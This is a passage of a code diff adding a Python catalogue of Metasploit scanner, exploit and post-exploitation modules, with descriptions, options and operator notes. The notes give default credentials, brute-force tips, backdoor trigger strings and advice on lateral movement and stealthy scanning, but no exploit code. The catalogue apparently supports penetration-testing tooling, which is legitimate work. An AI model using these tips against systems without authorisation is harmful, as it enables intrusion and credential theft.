+ 'their types (disk, printer, IPC), and access permissions. Can identify ' + 'readable/writable shares for further exploitation.', + 'author': ['hdm', 'tebo'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'SMBUser', 'required': False, 'desc': 'Username for authentication'}, + {'name': 'SMBPass', 'required': False, 'desc': 'Password for authentication'}, + {'name': 'SMBDomain', 'required': False, 'desc': 'Domain for authentication'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'shares', 'windows'], + 'notes': 'Try with null session first (no creds), then with valid credentials for more results.', + }, + 'auxiliary/scanner/smb/smb_enumusers': { + 'name': 'SMB User Enumeration', + 'description': 'Enumerates users on Windows systems via SMB. Uses various techniques ' + 'including SAM enumeration and LSA queries. Useful for building username ' + 'lists for password attacks.', + 'author': ['hdm', 'tebo'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'SMBUser', 'required': False, 'desc': 'Username for authentication'}, + {'name': 'SMBPass', 'required': False, 'desc': 'Password for authentication'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'users', 'windows', 'credentials'], + 'notes': 'May require authentication on modern Windows. Works well on older systems.', + }, + 'auxiliary/scanner/smb/smb_ms17_010': { + 'name': 'MS17-010 SMB Vulnerability Scanner', + 'description': 'Checks if target systems are vulnerable to MS17-010 (EternalBlue). ' + 'This vulnerability affects SMBv1 and allows remote code execution. ' + 'Does NOT exploit - only checks for vulnerability.', + 'author': ['zerosum0x0', 'Luke Jennings'], + 'cve': ['CVE-2017-0143', 'CVE-2017-0144', 'CVE-2017-0145'], + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['smb', 'scanner', 'ms17-010', 'eternalblue', 'vulnerability', 'windows'], + 'notes': 'Safe scanner - does not crash systems. Check before using EternalBlue exploit.', + }, + 'auxiliary/scanner/smb/smb_login': { + 'name': 'SMB Login Scanner', + 'description': 'Brute force SMB login credentials. Tests username/password combinations ' + 'against SMB authentication. Supports password lists, blank passwords, ' + 'and pass-the-hash attacks.', + 'author': ['tebo'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'SMBUser', 'required': False, 'desc': 'Username or USER_FILE'}, + {'name': 'SMBPass', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'SMBDomain', 'required': False, 'desc': 'Domain name'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + {'name': 'USER_AS_PASS', 'required': False, 'desc': 'Try username as password'}, + ], + 'tags': ['smb', 'scanner', 'brute', 'login', 'credentials', 'windows'], + 'notes': 'Be careful of account lockout policies. Start with small wordlists.', + }, + + # ========================================================================= + # SCANNERS - SSH + # ========================================================================= + 'auxiliary/scanner/ssh/ssh_version': { + 'name': 'SSH Version Scanner', + 'description': 'Identifies SSH server version and implementation. Reveals OpenSSH version, ' + 'OS hints, and supported authentication methods. Useful for identifying ' + 'outdated or vulnerable SSH servers.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ssh', 'scanner', 'version', 'enumeration', 'linux', 'unix'], + 'notes': 'Safe passive scan. Version info can reveal vulnerable configurations.', + }, + 'auxiliary/scanner/ssh/ssh_login': { + 'name': 'SSH Login Scanner', + 'description': 'Brute force SSH login credentials. Tests username/password combinations ' + 'and SSH keys. Supports credential files, blank passwords, and key-based ' + 'authentication.', + 'author': ['todb'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username or USER_FILE'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + {'name': 'USER_AS_PASS', 'required': False, 'desc': 'Try username as password'}, + ], + 'tags': ['ssh', 'scanner', 'brute', 'login', 'credentials', 'linux'], + 'notes': 'SSH often has fail2ban - use slow speed. Creates shell session on success.', + }, + 'auxiliary/scanner/ssh/ssh_enumusers': { + 'name': 'SSH User Enumeration', + 'description': 'Enumerates valid usernames on SSH servers using timing attacks or ' + 'response differences. Works on older OpenSSH versions with user ' + 'enumeration vulnerabilities.', + 'author': ['kenkeiras', 'Nixawk'], + 'cve': ['CVE-2018-15473'], + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'good', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'USER_FILE', 'required': True, 'desc': 'File with usernames to test'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ssh', 'scanner', 'enumeration', 'users', 'cve-2018-15473'], + 'notes': 'Only works on vulnerable OpenSSH versions (< 7.7). Patched on most modern systems.', + }, + + # ========================================================================= + # SCANNERS - HTTP/WEB + # ========================================================================= + 'auxiliary/scanner/http/http_version': { + 'name': 'HTTP Version Scanner', + 'description': 'Identifies web server software and version. Reveals server type ' + '(Apache, Nginx, IIS), version numbers, and sometimes OS information. ' + 'Essential for web application testing.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['http', 'scanner', 'web', 'version', 'enumeration'], + 'notes': 'Safe scan. Servers may hide version info. Check for X-Powered-By headers.', + }, + 'auxiliary/scanner/http/title': { + 'name': 'HTTP Title Scanner', + 'description': 'Retrieves the HTML title from web pages. Useful for quickly identifying ' + 'web applications, login pages, and default installations across many hosts.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'URI path (default: /)'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + ], + 'tags': ['http', 'scanner', 'web', 'enumeration', 'title'], + 'notes': 'Quick way to identify web apps. Default titles reveal app type.', + }, + 'auxiliary/scanner/http/dir_scanner': { + 'name': 'HTTP Directory Scanner', + 'description': 'Brute forces common directories and files on web servers. Finds hidden ' + 'admin panels, backup files, configuration files, and sensitive paths.', + 'author': ['et'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'PATH', 'required': False, 'desc': 'Starting path'}, + {'name': 'DICTIONARY', 'required': False, 'desc': 'Wordlist file'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + ], + 'tags': ['http', 'scanner', 'web', 'directory', 'brute', 'enumeration'], + 'notes': 'Use good wordlists (dirbuster, dirb). May trigger WAF alerts.', + }, + 'auxiliary/scanner/http/wordpress_scanner': { + 'name': 'WordPress Scanner', + 'description': 'Scans WordPress installations for version, themes, plugins, and ' + 'vulnerabilities. Identifies installed plugins which are common attack vectors.', + 'author': ['Christian Mehlmauer'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s)'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'WordPress path (default: /)'}, + {'name': 'SSL', 'required': False, 'desc': 'Use HTTPS'}, + ], + 'tags': ['http', 'scanner', 'web', 'wordpress', 'cms', 'enumeration'], + 'notes': 'Check wp-content/plugins/ and wp-content/themes/ for version info.', + }, + + # ========================================================================= + # SCANNERS - PORTS/SERVICES + # ========================================================================= + 'auxiliary/scanner/portscan/tcp': { + 'name': 'TCP Port Scanner', + 'description': 'Fast TCP port scanner using connect() method. Identifies open ports ' + 'on target systems. Supports port ranges and concurrent scanning.', + 'author': ['hdm', 'kris katterjohn'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'PORTS', 'required': True, 'desc': 'Ports to scan (e.g., 1-1000,8080)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads (default: 1)'}, + {'name': 'TIMEOUT', 'required': False, 'desc': 'Connection timeout'}, + ], + 'tags': ['scanner', 'portscan', 'tcp', 'enumeration', 'network'], + 'notes': 'Full connect scan - detected by IDS. For stealth, use SYN scan (requires raw sockets).', + }, + 'auxiliary/scanner/portscan/syn': { + 'name': 'SYN Port Scanner', + 'description': 'Stealthy TCP SYN port scanner. Sends SYN packets without completing ' + 'the handshake, making it harder to detect. Requires raw socket access (root).', + 'author': ['hdm', 'kris katterjohn'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'PORTS', 'required': True, 'desc': 'Ports to scan'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + {'name': 'TIMEOUT', 'required': False, 'desc': 'Packet timeout'}, + ], + 'tags': ['scanner', 'portscan', 'syn', 'stealth', 'network'], + 'notes': 'Requires root/admin. Stealthier than connect scan. May miss some ports behind NAT.', + }, + + # ========================================================================= + # SCANNERS - FTP + # ========================================================================= + 'auxiliary/scanner/ftp/ftp_version': { + 'name': 'FTP Version Scanner', + 'description': 'Identifies FTP server software and version from banner. Reveals ' + 'server type (vsftpd, ProFTPD, Pure-FTPd, IIS FTP) and version numbers.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ftp', 'scanner', 'version', 'enumeration'], + 'notes': 'Check banner for known vulnerable versions (vsftpd 2.3.4 backdoor, etc.).', + }, + 'auxiliary/scanner/ftp/anonymous': { + 'name': 'FTP Anonymous Login Scanner', + 'description': 'Checks if FTP servers allow anonymous login. Anonymous FTP can expose ' + 'sensitive files and sometimes allows file uploads.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['ftp', 'scanner', 'anonymous', 'login', 'enumeration'], + 'notes': 'Check for writable directories. Anonymous upload can lead to RCE on some servers.', + }, + 'auxiliary/scanner/ftp/ftp_login': { + 'name': 'FTP Login Scanner', + 'description': 'Brute force FTP login credentials. Tests username/password combinations ' + 'against FTP authentication.', + 'author': ['todb'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username or USER_FILE'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + ], + 'tags': ['ftp', 'scanner', 'brute', 'login', 'credentials'], + 'notes': 'FTP sends passwords in cleartext. Creates session on successful login.', + }, + + # ========================================================================= + # SCANNERS - DATABASE + # ========================================================================= + 'auxiliary/scanner/mysql/mysql_version': { + 'name': 'MySQL Version Scanner', + 'description': 'Identifies MySQL server version and configuration. Reveals version ' + 'number, protocol version, and server capabilities.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'MySQL port (default: 3306)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['mysql', 'scanner', 'database', 'version', 'enumeration'], + 'notes': 'MySQL should not be exposed to internet. Check for known vulnerable versions.', + }, + 'auxiliary/scanner/mysql/mysql_login': { + 'name': 'MySQL Login Scanner', + 'description': 'Brute force MySQL login credentials. Tests username/password combinations ' + 'including common defaults like root with no password.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'MySQL port (default: 3306)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username (default: root)'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + ], + 'tags': ['mysql', 'scanner', 'database', 'brute', 'login', 'credentials'], + 'notes': 'Try root with blank password first - common misconfiguration.', + }, + 'auxiliary/scanner/mssql/mssql_ping': { + 'name': 'MSSQL Server Discovery', + 'description': 'Discovers Microsoft SQL Server instances via UDP ping. Reveals instance ' + 'names, versions, and TCP ports. Works even when TCP port scanning fails.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['mssql', 'scanner', 'database', 'discovery', 'windows'], + 'notes': 'Uses UDP 1434. Finds named instances that may be on non-standard ports.', + }, + 'auxiliary/scanner/mssql/mssql_login': { + 'name': 'MSSQL Login Scanner', + 'description': 'Brute force Microsoft SQL Server login credentials. Tests both SQL ' + 'authentication and Windows authentication modes.', + 'author': ['hdm', 'todb'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'MSSQL port (default: 1433)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username (default: sa)'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'BLANK_PASSWORDS', 'required': False, 'desc': 'Try blank passwords'}, + ], + 'tags': ['mssql', 'scanner', 'database', 'brute', 'login', 'credentials', 'windows'], + 'notes': 'Try sa with common passwords. MSSQL can execute OS commands via xp_cmdshell.', + }, + 'auxiliary/scanner/postgres/postgres_login': { + 'name': 'PostgreSQL Login Scanner', + 'description': 'Brute force PostgreSQL login credentials. Tests username/password ' + 'combinations against PostgreSQL authentication.', + 'author': ['todb'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'PostgreSQL port (default: 5432)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Username (default: postgres)'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Password or PASS_FILE'}, + {'name': 'DATABASE', 'required': False, 'desc': 'Database to connect to'}, + ], + 'tags': ['postgres', 'postgresql', 'scanner', 'database', 'brute', 'login'], + 'notes': 'Default user is postgres. Can lead to RCE via COPY command or extensions.', + }, + + # ========================================================================= + # SCANNERS - RDP/VNC + # ========================================================================= + 'auxiliary/scanner/rdp/rdp_scanner': { + 'name': 'RDP Service Scanner', + 'description': 'Identifies systems running Remote Desktop Protocol (RDP). Detects ' + 'RDP version, NLA requirements, and encryption level.', + 'author': ['hdm', 'altonjx'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'RDP port (default: 3389)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['rdp', 'scanner', 'windows', 'remote', 'desktop'], + 'notes': 'Check for BlueKeep (CVE-2019-0708) on older Windows. NLA provides some protection.', + }, + 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep': { + 'name': 'BlueKeep Vulnerability Scanner', + 'description': 'Checks for CVE-2019-0708 (BlueKeep) RDP vulnerability. This critical ' + 'vulnerability allows remote code execution without authentication. ' + 'Affects Windows 7, Server 2008, and older.', + 'author': ['JaGoTu', 'zerosum0x0', 'ryHanson'], + 'cve': ['CVE-2019-0708'], + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'RDP port (default: 3389)'}, + ], + 'tags': ['rdp', 'scanner', 'bluekeep', 'cve-2019-0708', 'vulnerability', 'windows'], + 'notes': 'Safe scanner. Does not exploit, only checks. Affects Windows 7, 2008, XP.', + }, + 'auxiliary/scanner/vnc/vnc_none_auth': { + 'name': 'VNC No Authentication Scanner', + 'description': 'Checks for VNC servers with no authentication required. Unsecured VNC ' + 'provides full graphical access to the system.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'RPORT', 'required': False, 'desc': 'VNC port (default: 5900)'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['vnc', 'scanner', 'authentication', 'remote', 'desktop'], + 'notes': 'No-auth VNC = full desktop access. Connect with any VNC client.', + }, + + # ========================================================================= + # EXPLOITS - SMB/WINDOWS + # ========================================================================= + 'exploit/windows/smb/ms17_010_eternalblue': { + 'name': 'EternalBlue SMB Remote Code Execution', + 'description': 'Exploits the MS17-010 SMB vulnerability (EternalBlue) for remote code ' + 'execution. Affects Windows XP through Windows Server 2008 R2. One of ' + 'the most reliable remote Windows exploits. Used by WannaCry ransomware.', + 'author': ['Equation Group', 'Shadow Brokers', 'sleepya'], + 'cve': ['CVE-2017-0144'], + 'platforms': ['windows'], + 'arch': ['x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + {'name': 'LPORT', 'required': False, 'desc': 'Callback port (default: 4444)'}, + {'name': 'PAYLOAD', 'required': True, 'desc': 'Payload (recommend meterpreter)'}, + ], + 'tags': ['exploit', 'smb', 'eternalblue', 'ms17-010', 'windows', 'remote', 'cve-2017-0144'], + 'notes': 'CRITICAL: May crash unpatched systems. Test with scanner first. x64 targets only.', + }, + 'exploit/windows/smb/ms17_010_psexec': { + 'name': 'EternalBlue/Romance/Synergy Combo Exploit', + 'description': 'Uses EternalBlue, EternalRomance, and EternalSynergy to achieve code ' + 'execution. More stable than pure EternalBlue. Works on x86 and x64.', + 'author': ['sleepya', 'zerosum0x0'], + 'cve': ['CVE-2017-0143', 'CVE-2017-0144', 'CVE-2017-0145'], + 'platforms': ['windows'], + 'arch': ['x86', 'x64'], + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + {'name': 'LPORT', 'required': False, 'desc': 'Callback port'}, + {'name': 'PAYLOAD', 'required': True, 'desc': 'Payload to deliver'}, + ], + 'tags': ['exploit', 'smb', 'eternalblue', 'eternalromance', 'ms17-010', 'windows'], + 'notes': 'More reliable than pure EternalBlue. Works on both 32 and 64-bit Windows.', + }, + 'exploit/windows/smb/psexec': { + 'name': 'PsExec Remote Command Execution', + 'description': 'Executes commands on Windows systems using valid credentials via SMB. ' + 'Uploads a service binary, creates and starts a service, then cleans up. ' + 'Requires admin credentials.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x86', 'x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'SMBUser', 'required': True, 'desc': 'Admin username'}, + {'name': 'SMBPass', 'required': True, 'desc': 'Admin password or NTLM hash'}, + {'name': 'SMBDomain', 'required': False, 'desc': 'Domain name'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + ], + 'tags': ['exploit', 'smb', 'psexec', 'windows', 'credentials', 'lateral'], + 'notes': 'Requires admin creds. Detected by most AV. Use for lateral movement.', + }, + 'exploit/windows/smb/ms08_067_netapi': { + 'name': 'MS08-067 Server Service Vulnerability', + 'description': 'Exploits the MS08-067 vulnerability in Windows Server Service. ' + 'Affects Windows XP and Server 2003. Very reliable, pre-authentication RCE.', + 'author': ['hdm', 'Brett Moore', 'Harmony Security'], + 'cve': ['CVE-2008-4250'], + 'platforms': ['windows'], + 'arch': ['x86'], + 'reliability': 'great', + 'options': [ + {'name': 'RHOST', 'required': True, 'desc': 'Target IP'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + {'name': 'LPORT', 'required': False, 'desc': 'Callback port'}, + ], + 'tags': ['exploit', 'smb', 'ms08-067', 'windows', 'xp', 'legacy', 'cve-2008-4250'], + 'notes': 'Old but still found in legacy environments. XP and Server 2003 only.', + }, + + # ========================================================================= + # EXPLOITS - SSH + # ========================================================================= + 'exploit/linux/ssh/sshexec': { + 'name': 'SSH User Code Execution', + 'description': 'Executes payload on target via SSH using valid credentials. ' + 'Creates a Meterpreter or shell session through SSH authentication.', + 'author': ['Spencer McIntyre', 'Brandon Knight'], + 'cve': None, + 'platforms': ['linux', 'unix'], + 'arch': ['x86', 'x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'SSH port (default: 22)'}, + {'name': 'USERNAME', 'required': True, 'desc': 'SSH username'}, + {'name': 'PASSWORD', 'required': True, 'desc': 'SSH password'}, + {'name': 'LHOST', 'required': True, 'desc': 'Your IP for callback'}, + ], + 'tags': ['exploit', 'ssh', 'linux', 'credentials', 'remote'], + 'notes': 'Requires valid SSH creds. Use after successful ssh_login scan.', + }, + + # ========================================================================= + # EXPLOITS - WEB/HTTP + # ========================================================================= + 'exploit/multi/http/tomcat_mgr_upload': { + 'name': 'Apache Tomcat Manager Upload', + 'description': 'Uploads and executes a WAR file through Tomcat Manager. Requires ' + 'manager credentials. Very common in enterprise environments.', + 'author': ['rangercha'], + 'cve': None, + 'platforms': ['multi'], + 'arch': ['java'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 80)'}, + {'name': 'HttpUsername', 'required': True, 'desc': 'Tomcat manager username'}, + {'name': 'HttpPassword', 'required': True, 'desc': 'Tomcat manager password'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'Manager path'}, + ], + 'tags': ['exploit', 'http', 'tomcat', 'java', 'web', 'upload'], + 'notes': 'Default creds: tomcat/tomcat, admin/admin, manager/manager. Check tomcat-users.xml.', + }, + 'exploit/multi/http/jenkins_script_console': { + 'name': 'Jenkins Script Console RCE', + 'description': 'Executes Groovy script via Jenkins Script Console. Requires access ' + 'to the /script endpoint (usually needs authentication or misconfiguration).', + 'author': ['Spencer McIntyre', 'altonjx'], + 'cve': None, + 'platforms': ['multi'], + 'arch': ['java'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port (default: 8080)'}, + {'name': 'USERNAME', 'required': False, 'desc': 'Jenkins username'}, + {'name': 'PASSWORD', 'required': False, 'desc': 'Jenkins password'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'Jenkins path'}, + ], + 'tags': ['exploit', 'http', 'jenkins', 'java', 'web', 'rce'], + 'notes': 'Check for unauthenticated /script access. Also check for default creds.', + }, + 'exploit/unix/webapp/php_cgi_arg_injection': { + 'name': 'PHP CGI Argument Injection', + 'description': 'Exploits PHP-CGI argument injection (CVE-2012-1823). Allows remote ' + 'code execution by passing PHP configuration options via query string.', + 'author': ['hdm'], + 'cve': ['CVE-2012-1823'], + 'platforms': ['unix', 'linux'], + 'arch': ['cmd'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'HTTP port'}, + {'name': 'TARGETURI', 'required': False, 'desc': 'PHP file path'}, + ], + 'tags': ['exploit', 'http', 'php', 'cgi', 'web', 'rce', 'cve-2012-1823'], + 'notes': 'Old but still found. Test with ?-s to see PHP source leak.', + }, + + # ========================================================================= + # EXPLOITS - FTP + # ========================================================================= + 'exploit/unix/ftp/vsftpd_234_backdoor': { + 'name': 'VSFTPD 2.3.4 Backdoor', + 'description': 'Exploits a backdoor in vsftpd 2.3.4. Sending a smiley :) in the ' + 'username opens a shell on port 6200. One of the easiest exploits.', + 'author': ['hdm', 'mc'], + 'cve': ['CVE-2011-2523'], + 'platforms': ['unix'], + 'arch': ['cmd'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOST', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + ], + 'tags': ['exploit', 'ftp', 'vsftpd', 'backdoor', 'unix', 'linux'], + 'notes': 'Very easy exploit - just run it. Opens shell on port 6200.', + }, + 'exploit/unix/ftp/proftpd_133c_backdoor': { + 'name': 'ProFTPD 1.3.3c Backdoor', + 'description': 'Exploits a backdoor in ProFTPD 1.3.3c. Sends HELP ACIDBITCHEZ command ' + 'to trigger the backdoor and open a root shell.', + 'author': ['hdm', 'mc'], + 'cve': None, + 'platforms': ['unix'], + 'arch': ['cmd'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOST', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'FTP port (default: 21)'}, + ], + 'tags': ['exploit', 'ftp', 'proftpd', 'backdoor', 'unix', 'linux'], + 'notes': 'Opens root shell directly. Check FTP banner for version.', + }, + + # ========================================================================= + # EXPLOITS - DATABASE + # ========================================================================= + 'exploit/multi/mysql/mysql_udf_payload': { + 'name': 'MySQL UDF Remote Code Execution', + 'description': 'Creates a User Defined Function (UDF) in MySQL to execute system ' + 'commands. Requires FILE privilege and ability to write to plugin directory.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['multi'], + 'arch': ['x86', 'x64'], + 'reliability': 'great', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'MySQL port (default: 3306)'}, + {'name': 'USERNAME', 'required': True, 'desc': 'MySQL username'}, + {'name': 'PASSWORD', 'required': True, 'desc': 'MySQL password'}, + ], + 'tags': ['exploit', 'mysql', 'database', 'udf', 'rce'], + 'notes': 'Requires FILE privilege. Check with SHOW GRANTS. May need writable plugin dir.', + }, + 'exploit/windows/mssql/mssql_payload': { + 'name': 'MSSQL xp_cmdshell Payload Execution', + 'description': 'Executes payload via MSSQL xp_cmdshell. Enables xp_cmdshell if disabled ' + 'and executes system commands. Requires sysadmin privileges.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': ['x86', 'x64'], + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP'}, + {'name': 'RPORT', 'required': False, 'desc': 'MSSQL port (default: 1433)'}, + {'name': 'USERNAME', 'required': True, 'desc': 'MSSQL username (sa)'}, + {'name': 'PASSWORD', 'required': True, 'desc': 'MSSQL password'}, + ], + 'tags': ['exploit', 'mssql', 'database', 'xp_cmdshell', 'windows', 'rce'], + 'notes': 'Usually runs as SYSTEM. Use sa account. May need to enable xp_cmdshell first.', + }, + + # ========================================================================= + # POST-EXPLOITATION + # ========================================================================= + 'post/windows/gather/hashdump': { + 'name': 'Windows Password Hash Dump', + 'description': 'Dumps password hashes from the SAM database. Requires SYSTEM privileges ' + 'or the ability to read SAM. Hashes can be 